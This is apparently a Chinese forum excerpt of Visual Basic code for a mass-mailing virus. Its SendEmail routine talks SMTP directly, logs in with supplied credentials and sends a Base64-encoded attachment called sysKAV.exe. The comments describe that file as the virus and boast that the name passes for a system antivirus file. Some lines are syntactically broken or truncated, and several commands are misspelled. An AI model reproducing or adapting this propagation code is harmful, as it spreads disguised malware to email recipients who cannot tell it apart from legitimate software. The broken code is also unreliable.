详细地址请看:http://vbworld.sxnw.gov.cn/newbbs/dispbbs.asp?boardID=4&ID=8197&page=2
'-------------------------这个函数用来发邮件(及其附件)---------------------------------------
Private Sub SendEmail(MailServerName As String, _
FromEmailAddress As String, FromName As String, ToEmailAddress As String, _
ToName As String, EmailSubject As String, EmailBodyOfMessage As String, _
EmialPassword As String, EmialUsername As String)
Dim sndData As Variant
Dim lenFile As Long '保存病毒文件长度
Dim more As Long
Dim FnumIn As Integer
Dim mInByte(4) As Byte, mOutByte(3) As Byte
Dim myByte As Byte
Dim i As Integer, LineLen As Integer, j As Integer
Dim ByteNum As Integer
Dim first As String, Second As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String
On Error GoTo RepSend '出现错误,重新开始发送邮件
sckMail.LocalPort = 0 '系统随机分配端口
If sckMail.State = sckClosed Then '检查winsock的状态是否为关
first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf '发件人地址
Second = "rcpt t" + Chr(32) + ToEmailAddress + vbCrLf '收件人地址
Third = "Date:" + Chr(32) + Format(Date, "Ddd"
& ", " & _
Format(Date, "dd Mmm YYYY"
& " " & Format(Time, "hh:mm:ss"
_
& "" & " -0600" + vbCrLf '时间
Fourth = "From:" + Chr(32) + FromName + vbCrLf '发件人
Fifth = "T" + Chr(32) + ToNametxt + vbCrLf '收件人
Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf '主题
Seventh = EmailBodyOfMessage + vbCrLf '正文
Ninth = "X-Mailer: lj v 2.x" + vbCrLf
Eighth = Fourth + Third + Ninth + Fifth + Sixth
sckMail.Protocol = sckTCPProtocol ' 设置协议为TCP
sckMail.RemoteHost = MailServerName ' SMTP地址
sckMail.RemotePort = 25 ' SMTP端口
sckMail.Connect ' 开始连接
WaitFor ("220"
sckMail.SendData ("HELO HuBeiJiaoYuan040313" + vbCrLf) ''-----change it!
WaitFor ("250"
'--------------进行校验LOGIN-------------------
sckMail.SendData ("AUTH LOGIN" + vbCrLf)
WaitFor ("334"
sckMail.SendData (Base64EncodeString(EmialUsername) + vbCrLf) '输入用户名----change it!
WaitFor ("334"
sckMail.SendData (Base64EncodeString(EmialPassword) + vbCrLf) '输入用户口令---change it!
WaitFor ("235"
'-------------------------------------
sckMail.SendData (first) '发送mail from 指令
WaitFor ("250"
sckMail.SendData (Second) '发送 rcpt to 指令
WaitFor ("250"
sckMail.SendData ("data" + vbCrLf) '开始发送数据
WaitFor ("354"
sckMail.SendData (Eighth + vbCrLf) '这些是邮件正文的头部
sckMail.SendData (Seventh + vbCrLf)
'---------------------这里开始发送附件-------------------------
' ~78tmp.txt是一个临时文件,保存加密后的内容,用完后就会删了它
' sysKAV.exe就是病毒文件名字。生成EXE时必须改名为sysKAV.exe
' 呵呵~~看起来像是sytem & KAV ,想不到是病毒文件吧?!
Call Base64EncodeFile(SysDir() & "sysKAV.exe", TempPath() & "~78tmp.txt"
FnumIn = FreeFile()
Open TempPath & "~78tmp.txt" For Binary As #FnumIn
more = LOF(FnumIn) Mod 20000
lenFile = CLng(LOF(FnumIn) / 20000)
For x = 1 To lenFile
sndData = ""
For y = 0 To 19999
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Next
sckMail.SendData sndData '发送20000Byte的数据
Next x
While Not EOF(FnumIn)
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Wend
sckMail.SendData sndData '发送剩下的数据
Close FnumIn
Kill TempPath() & "~78tmp.txt" '删除~78tmp.txt
'--------附件发送完毕-----------
sckMail.SendData ("." + vbCrLf) '邮件正文结束
WaitFor ("250"
sckMail.SendData ("quit" + vbCrLf) '发送quit指令,结束事务。
WaitFor ("221"
sckMail.Close
End If
Exit Sub
RepSend: Timer1.Enabled = False
Call LoopSend
End Sub
'---------------------------------------------------------------------------------------
Private Sub WaitFor(ResponseCode As String) '检查是否收到SMTP服务器的返回代码
Start = Timer
Response = Trim(Response)
While Len(Trim(Response)) = 0 '服务器没有响应
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
GoTo RepSend
End If
Wend
While Left(Response, 3) <> ResponseCode '提起服务器响应码的前3位
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
Print "Time out"
GoTo RepSend
End If
Wend
Exit Sub
RepSend: Response = "" ' Response清空
Timer1.Enabled = False '重新开始发送邮件
Call LoopSend
End Sub
'---------------------------